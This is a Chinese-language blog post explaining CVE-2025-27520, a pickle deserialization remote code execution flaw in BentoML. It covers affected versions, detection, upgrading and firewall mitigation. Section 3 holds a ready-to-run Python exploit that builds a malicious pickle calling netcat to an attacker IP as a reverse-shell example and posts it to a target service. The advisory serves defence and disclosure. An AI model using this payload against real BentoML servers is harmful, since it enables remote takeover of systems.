BentoML远程代码执行漏洞(CVE-2025-27520)详解与防护指南

BentoML是一个流行的Python开源库,专门用于快速部署和管理机器学习模型的在线服务。近期发现了一个极其严重的安全漏洞------远程代码执行(RCE),编号为CVE-2025-27520,漏洞评分高达9.8(CVSSv3),意味着攻击者可以远程执行任意代码,完全控制服务器,风险极大。

1. 漏洞基础知识点

什么是远程代码执行(RCE)?

远程代码执行指攻击者通过网络向目标系统发送恶意数据,使系统执行攻击者指定的代码,导致系统被控制、数据泄露或破坏。

什么是反序列化漏洞?

反序列化是将数据从存储或传输格式(如二进制)转换回程序对象的过程。如果反序列化过程不安全,攻击者可以构造恶意数据,利用程序自动执行恶意代码。

BentoML中的漏洞原理

BentoML在处理机器学习模型请求时,会反序列化(deserialize)客户端发送的"payload"(数据包)。漏洞出现在serde.py文件中的deserialize_value函数:

python 复制代码
def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))

这里使用了Python的pickle模块反序列化数据,但没有对输入数据做任何安全检查,导致攻击者可以发送恶意构造的pickle数据,执行任意Python代码。

2. 漏洞影响范围

  • 受影响版本:BentoML 1.3.8 到 1.4.2(官方最初报告为1.3.4起,但实际分析确认是从1.3.8开始)
  • 修复版本:1.4.3及以后版本
  • 影响用户:所有使用BentoML接收和处理外部机器学习请求的用户,尤其是直接或间接处理序列化数据的场景。

3. 漏洞利用示例(Python代码)

攻击者可以构造一个恶意的Python对象,利用__reduce__方法执行系统命令。示例代码如下:

python 复制代码
import pickle
import os
import requests

# HTTP请求头,指定内容类型为BentoML的pickle格式
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

# 恶意类,利用__reduce__执行系统命令
class Evil:
    def __reduce__(self):
        # 这里以启动一个反向shell为例,连接攻击者主机
        return (os.system, ('nc 192.168.1.100 1234',))

# 序列化恶意对象
payload = pickle.dumps(Evil())

# 发送恶意请求到目标BentoML服务
requests.post("http://目标服务器IP:端口/接口路径", data=payload, headers=headers)

说明:

  • nc是netcat工具,用于建立网络连接,攻击者监听1234端口,服务器连接后即被控制。
  • 真实攻击中,IP和端口需替换为攻击者控制的地址。
  • 该请求会被BentoML反序列化,执行os.system命令,导致远程代码执行。

4. 漏洞产生的原因与历史

  • 该漏洞是之前CVE-2024-2912的"复现",原漏洞在1.2.5版本修复。
  • 但修复代码在1.3.8版本被意外移除,导致漏洞重新出现。
  • 1.4.3版本重新修复了该问题,禁止了不安全的pickle反序列化。

5. 如何检测是否受影响

  • 查看BentoML版本:
bash 复制代码
pip show bentoml
  • 检查版本号是否在1.3.8至1.4.2之间。
  • 也可以在Python环境中查找bentoml-版本号.dist-info目录。
  • 生成软件物料清单(SBOM)检查依赖链中是否包含受影响版本。

6. 如何修复和防护

最简单有效的办法:升级BentoML

bash 复制代码
pip install -U bentoml==1.4.3

升级到1.4.3或更高版本,官方已修复该漏洞。

临时缓解措施

  • 配置Web应用防火墙(WAF),阻止Content-Type为application/vnd.bentoml+pickle的HTTP请求。
  • 对输入数据进行严格验证,避免反序列化不可信数据。
  • 监控异常网络连接和系统行为,及时发现攻击迹象。

7. 代码示例:安全升级后的反序列化示范

升级后,BentoML会拒绝不安全的pickle请求,示例伪代码:

python 复制代码
def deserialize_value(self, payload: Payload) -> t.Any:
    if payload.metadata.get("content-type") == "application/vnd.bentoml+pickle":
        raise ValueError("Pickle deserialization is disabled for security reasons.")
    # 其他安全的反序列化逻辑

8. 总结

关键点 说明
漏洞类型 远程代码执行(RCE)
漏洞原因 不安全的pickle反序列化
受影响版本 BentoML 1.3.8 ~ 1.4.2
修复版本 BentoML 1.4.3及以上
危害 服务器被远程控制,数据泄露,服务中断等
推荐措施 立即升级BentoML,配置WAF,监控异常行为
相关推荐
paopaokaka_luck2 小时前
基于Spring Boot+Vue的吉他社团系统设计和实现(协同过滤算法)
java·vue.js·spring boot·后端·spring
Flobby5292 小时前
Go语言新手村:轻松理解变量、常量和枚举用法
开发语言·后端·golang
Eloudy3 小时前
简明量子态密度矩阵理论知识点总结
算法·量子力学
点云SLAM3 小时前
Eigen 中矩阵的拼接(Concatenation)与 分块(Block Access)操作使用详解和示例演示
人工智能·线性代数·算法·矩阵·eigen数学工具库·矩阵分块操作·矩阵拼接操作
Warren983 小时前
Java Stream流的使用
java·开发语言·windows·spring boot·后端·python·硬件工程
算法_小学生4 小时前
支持向量机(SVM)完整解析:原理 + 推导 + 核方法 + 实战
算法·机器学习·支持向量机
程序视点4 小时前
IObit Uninstaller Pro专业卸载,免激活版本,卸载清理注册表,彻底告别软件残留
前端·windows·后端
xidianhuihui4 小时前
go install报错: should be v0 or v1, not v2问题解决
开发语言·后端·golang
iamlujingtao5 小时前
js多边形算法:获取多边形中心点,且必定在多边形内部
javascript·算法
算法_小学生5 小时前
逻辑回归(Logistic Regression)详解:从原理到实战一站式掌握
算法·机器学习·逻辑回归